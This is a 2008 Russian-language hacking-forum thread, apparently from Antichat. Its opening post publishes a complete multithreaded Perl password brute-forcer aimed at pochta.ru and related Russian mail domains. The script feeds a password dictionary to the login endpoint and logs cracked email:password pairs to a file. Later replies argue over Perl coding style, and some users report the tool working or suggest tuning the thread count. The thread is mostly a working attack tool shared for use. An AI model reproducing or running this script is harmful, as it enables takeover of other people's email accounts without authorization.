Pochta.ru Multithreads Brutforce [perl]

Discussion in 'Уязвимости Mail-сервисов' started by Roba, 13 May 2008.

  1. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Code:
    #!/usr/bin/perl
    #################################################################################################
    ################################Pochta.ru Multithreads Brutforce by ZAMUT####################
    #(pochta.ru,fromru.com,front.ru,hotbox.ru,hotmail.ru,krovatka.su,land.ru,mail15.com,mail333.com,#
    # newmail.ru,nightmail.ru,nm.ru,pisem.net,pochtamt.ru,pop3.ru,rbcmail.ru,smtp.ru)################
    # Запускаем brut.pl xx, где xx - кол-во потоков
    # plist.txt - Словарь паролей
    # good.txt  - Файл для сбрученных паролей 
    #################################################################################################
    #############################################Antichat.ru#########################################
    use IO::Socket;
    use strict;
    use warnings;
    use threads;
    use threads::shared;
    my  @pass:shared;
    
    my $threads = $ARGV[0];
    open IN, "<plist.txt";
    print 'Email:';
    chomp(my $up =<STDIN>);
    my($u,$p) = undef;
    ($u,$p)=split('\@',$up);
    Next:
    @pass = list();
    
    for(0..$threads) {threads->create(\&brut, $_);}
    for(threads->list) {$_->join; }
    
    sub brut
    {
     while (@pass)
     {
      my $pas = shift @pass;
      my $socket = IO::Socket::INET->new('pochta.ru:80') || die("Can't connecting!");
      print $socket "GET /login.php?reason=login&lng=&rnd=11111122&back=&user=$u&domain=$p&pass=$pas&long_session=1 HTTP/1.0\n\n";
      while(<$socket>)
      {
    	 my $s = <$socket>;
    	 if($s=~/login=/) 
    		 {  open  GOOD,'>>good.txt'; 
    	            print GOOD "$up:$pas\n";
    		    print "\n$up:$pas\n";
    		    close GOOD;
    		    close $socket; 
    		    exit; }
      }
      close $socket;
     }
    }
    goto Next;
    
    sub list
    {
    	my (@mas);
    	while (<IN>){
    	push @mas, $_;
    	last if (@mas == 500);
    	}
    	chomp @mas;
    	return @mas;
    };
    
    з.ы.
    На канале 2 Мб/c при 30 потоках, скорость ~45-50 п/c. Дальше - больше ;)
     
    #1 Roba, 13 May 2008
    Last edited: 14 May 2008
    8 people like this.
  2. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Code:
    my $socket = IO::Socket::INET->new(
      PeerAddr => $host, 
      PeerPort => $port,
      Proto => 'tcp',
      Type => SOCK_STREAM)...
    проще так:
    Code:
    my $socket = IO::Socket::INET->new('pochta.ru:80')...
    Code:
    for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
    Пропустил объявление массива @trl;
    Code:
    my @trl;
    for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
    Code:
    open  good,'>>good.txt'; 
    Дескрипторы принято писать заглавными буквами
    Code:
    open  GOOD,'>>good.txt'; 
    ещё куча ошибок....
    Code:
    use strict; 
    use warnings;
    use diagnostics;
     
    #2 demonoid, 13 May 2008
    Last edited: 13 May 2008
    1 person likes this.
  3. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    впринципе неплохо,советую юзать Lwp дабы не было такого громоздкого кода
     
  4. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.
     
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    это почему?
     
  6. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Вообщем так. .
    demonoid, спс поправил . эт не мега релиз =) но замечание уместно. и если на то пошло, то массв объявлять уж точно не в цикле ;)

    Почему не LWP ? потому, что
    мне от ответа всего лишь нужно
    Code:
    Server: nginx/0.5.35
    Content-Type: text/html; charset=windows-1251
    X-Powered-By: PHP/5.2.3
    Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
    Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=pochta.ru
    Set-Cookie: id=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
    Set-Cookie: [B]login[/B]=bla; expires=Wed, 13-May-2009 18:11:36 GMT; path=/; domain=.www.pochta.ru
    
     
    1 person likes this.
  7. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    Code:
    for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
    Пропустил объявление массива @trl;
    Code:
    my @trl;
    for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
    аз его тут объявлять при простом присвоении его и так создаст -- херню написал

    Code:
    open  good,'>>good.txt'; 
    Дескрипторы принято писать заглавными буквами
    Code:
    open  GOOD,'>>good.txt'; 
    кем принято??? айзербайджанцами??? как хочет так и пишет -- левый доеп

    ещё куча ошибок....
    Code:
    use strict; 
    use warnings;
    use diagnostics;
    [/QUOTE]

    это его вопросы юзать стрикт или нет -- это не ошибка нифига
     
  8. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Естественно объявление массива не должно было быть в цикле пропустил многоточие xD

    genom--
    сердечно благодарю тебя за минусы xD
    Code:
    perldoc -f open
    ув.читайте документацию
    неверно
    Code:
    use strict; 
    use warnings;
    
    open f,'>>','file.txt';
    close f;
    ошибка
    Code:
    Unquoted string "f" may clash with future [U]reserved word [/U]at ..pl line 4.
    Unquoted string "f" may clash with future [U]reserved word[/U] at ..pl line 5.
    Название дескриптора, как правило, пишут заглавными буквами, чтобы исключить совпадение с зарезервированными словами
    Code:
    ".....
    Лучше заключить такое слово в кавычки  
    или как-то выделить заглавными буквами , или 
    вставить в него подчёркивание ......"
    верно

    Code:
    use strict; 
    use warnings;
    
    open F,'>>','file.txt';
    close F;
    Code:
    use strict; 
    use warnings;
    
    open _f,'>>','file.txt';
    close _f;
    
    PS: Не кто не до кого не `доеп` , все мы нормальные люди , не `быдлокодеры` давайте выражать свои мысли более тактично ?
     
    #8 demonoid, 14 May 2008
    Last edited: 14 May 2008
  9. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    ты хоть понял что сам написал -- мы вообщето говорил?? КАКАЯ РАЗНИЦА большими писать дескриптор или нет -- а то что ты привел из перлдока вообще невтему
     
  10. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    зарезервированные слова порабы уже знать это раз
    open F,'>>','file.txt'; -- это трындец open F,'>>file.txt'; минус 3 левых символа --- это во вторых
    в третьих выкинь свой учебник на помойку
     
  11. m9chik

    m9chik Elder - Старейшина

    Joined:
    20 Jun 2007
    Messages:
    68
    Likes Received:
    56
    Reputations:
    -5
    на ссамого себя срубило,хорошо+.

    p.s. всё равно когданить понадобиться=)
     
  12. z0diak

    z0diak New Member

    Joined:
    11 Jan 2008
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Жаль у меня что-то не работает.Пароль не верный пишит как правильный
     
  13. sairo

    sairo New Member

    Joined:
    8 Jun 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    смотрика, работает =)
    только поменьше потоков надо ставить, а то много попыток обламывается из за того что сервер не смог ответить. так можно и проваронить хороший пароль =)